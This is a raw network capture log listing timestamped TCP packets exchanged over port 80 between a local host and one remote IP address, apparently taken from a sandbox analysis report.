Dec 20, 2024 17:13:43.318098068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.318149090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.318238974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.318984032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.319020987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.319035053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.319621086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.319672108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.319802046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.320589066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.320624113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.320657969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.321435928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.321501017 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.321552992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.322127104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.322165966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.322180986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.322793007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.322825909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.322844982 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.348752022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.348817110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.348825932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.348923922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.348967075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.349066019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.349775076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.349817038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.349828005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.350483894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.350529909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.350570917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.390613079 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.420780897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.420830011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.420883894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.421099901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.421156883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.421206951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.421906948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.422167063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.422204971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.422218084 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.422811031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.422862053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.422908068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.423691988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.423748016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.423832893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.424429893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.424483061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.424593925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.425178051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.425229073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.425339937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.426055908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.426093102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.426110029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.426738977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.426788092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.426872015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.427568913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.427622080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.427637100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.428422928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.428483963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.428561926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.429246902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.429300070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.429347038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.429910898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.429961920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.430135965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.430668116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.430713892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.430815935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.431497097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.431531906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.431549072 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.432337999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.432389975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.432440996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.433038950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.433094025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.433223963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.433770895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.433829069 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.433954954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.434695959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.434730053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.434752941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.435426950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.435486078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.435533047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.436208963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.436264038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.436417103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.437002897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.437057972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.437081099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.437762976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.437815905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.437819958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.438585043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.438621044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.438646078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.439302921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.439352989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.439374924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.440073967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.440125942 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.440226078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.440851927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.440903902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.440912962 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.441675901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.441729069 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.441951036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.442404032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.442476988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.442481995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.443207979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.443268061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.443375111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.484350920 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.500447989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.500498056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.500556946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.500679016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.500716925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.500894070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.501462936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.501652956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.501718044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.502166033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.502474070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.502511024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.502526999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.503364086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.503398895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.503421068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.504054070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.504106998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.504209042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.504847050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.504879951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.504899979 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.505588055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.505641937 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.505702972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.506375074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.506433010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.506567001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.507200003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.507236004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.507257938 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.507908106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.507961988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.508049011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.508703947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.508758068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.508841038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.509484053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.509536028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.509617090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.510389090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.510425091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.510445118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.511135101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.511188030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.511192083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.511831045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.511898041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.511935949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.512701035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.512748003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.512753963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.513446093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.513501883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.513503075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.514185905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.514238119 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.514329910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.515130997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.515161991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.515183926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.541079998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.541169882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.541219950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.541253090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.541290998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.541313887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.542047977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.542113066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.542128086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.542826891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.542866945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.542912006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.613559008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.613579035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.613637924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.613823891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.613837957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.613877058 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.614574909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.614589930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.614669085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.615319967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.615601063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.615725994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.615777969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.616395950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.616488934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.616523027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.617098093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.617258072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.617333889 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.617974043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.618000031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.618026018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.618750095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.618765116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.618809938 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.619431019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.619481087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.619534016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.620312929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.620326996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.620369911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.621010065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.621061087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.621154070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.621812105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.621931076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.622000933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.622752905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.622780085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.622821093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.623387098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.623431921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.623534918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.624294996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.624367952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.624413013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.625030994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.625087976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.625130892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.625727892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.625825882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.625883102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.626595974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.626621008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.626673937 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.627417088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.627435923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.627476931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.628144026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.628160954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.628190041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.628928900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.628947020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.628974915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.629789114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.629806042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.629858017 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.630515099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.630532980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.630583048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.631303072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.631335020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.631356001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.632030964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.632241964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.632294893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.632777929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.632826090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.632929087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.633614063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.633692980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.633739948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.634399891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.634541988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.634592056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.635247946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.635266066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.635294914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.635899067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.635916948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.635948896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.687525034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.692285061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.692390919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.692503929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.692682028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.692797899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.693485022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.693538904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.693613052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.693651915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.694185019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.694542885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.694555998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.694598913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.695297956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.695349932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.695516109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.696144104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.696347952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.696392059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.696832895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.696882963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.696934938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.697570086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.697902918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.697953939 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.698451996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.698545933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.698594093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.699186087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.699235916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.699310064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.700030088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.700077057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.700133085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.700797081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.700810909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.700846910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.701596975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.701608896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.701648951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.702414989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.702426910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.702471018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.703142881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.703156948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.703219891 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.703882933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.703933954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.704077959 CET	80	49711	147.45.113.159	192.168.2.9
